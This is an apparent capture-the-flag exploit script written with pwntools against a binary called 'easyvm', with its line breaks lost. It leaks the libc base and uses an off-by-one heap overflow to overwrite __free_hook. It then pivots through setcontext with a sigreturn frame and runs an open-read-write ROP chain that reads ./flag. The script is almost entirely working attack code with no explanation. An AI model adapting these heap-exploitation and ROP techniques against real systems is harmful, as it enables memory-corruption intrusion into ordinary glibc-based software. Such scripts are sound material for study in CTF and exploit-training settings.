process("./easyvm",env={'LD_PRELOAD':'./libunicorn.so.1'})elf=ELF("./easyvm")libc=elf.libc##---------PART 1---------##sc = ''sc += read(0,get_name(0),0x20)sc += insert(get_name(0),0xb0)#3sc += read(3,get_name(1),0x100)sc += write(1,get_name(1),8)sc += read(0,get_name(2),0x20)sc += insert(get_name(2),0x100)#4sc += read(0,get_name(3),0x20)sc += insert(get_name(3),0xb0)#5sc += read(0,get_name(4),0x300)sc += close(5)sc += close(3)sc += write(4,get_name(4),0x38)sc += insert(get_name(0),0xb0)sc += insert(get_name(3),0xb8)sc += write(5,get_name(4)+0x38,0xb8)sc += 'mov rdx,0x100;'sc = asm(sc)p.sendlineafter('Send your code:',sc)##---------PART 2---------##name = '/dev/a'p.send(name)#open inode 3libc_base=u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-(0x7f42d70db1f0-0x7f42d6eef000)print(hex(libc_base))libc.address=libc_base##---------PART 3---------##p.send('/dev/'.ljust(0x18,'b'))#off-by-one#open inode 4p.send('/dev/c')#open inode 5#free_hook-->read-->setcontext#setcontext-read rop in bss||rsp to bsspayload=p64(libc.address+0x0000000000154930)+p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['setcontext']+61)sig = SigreturnFrame()sig.rsp = libc.bss(0x500)sig.rip = libc.sym['read']sig.rdi = 0sig.rsi = libc.bss(0x500)sig.rdx = 0x300sig = str(sig)payload += sig[0x28:]p.send('A'*0x28+p64(0x81)+p64(libc.sym['__free_hook'])+payload)##---------PART 4---------###create orw roppop_rdi = 0x0000000000026b72+libc.addresspop_rsi = 0x0000000000027529+libc.addresspop_rdx_r12 = 0x000000000011c371 + libc.addresspayload = p64(pop_rdi)+p64(libc.bss(0x600))+p64(pop_rsi)+p64(0)+p64(libc.sym['open'])payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(libc.sym['read'])payload +=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(libc.sym['write'])payload = payload.ljust(0x100)+"./flag\x00"p.send(payload)p.interactive()
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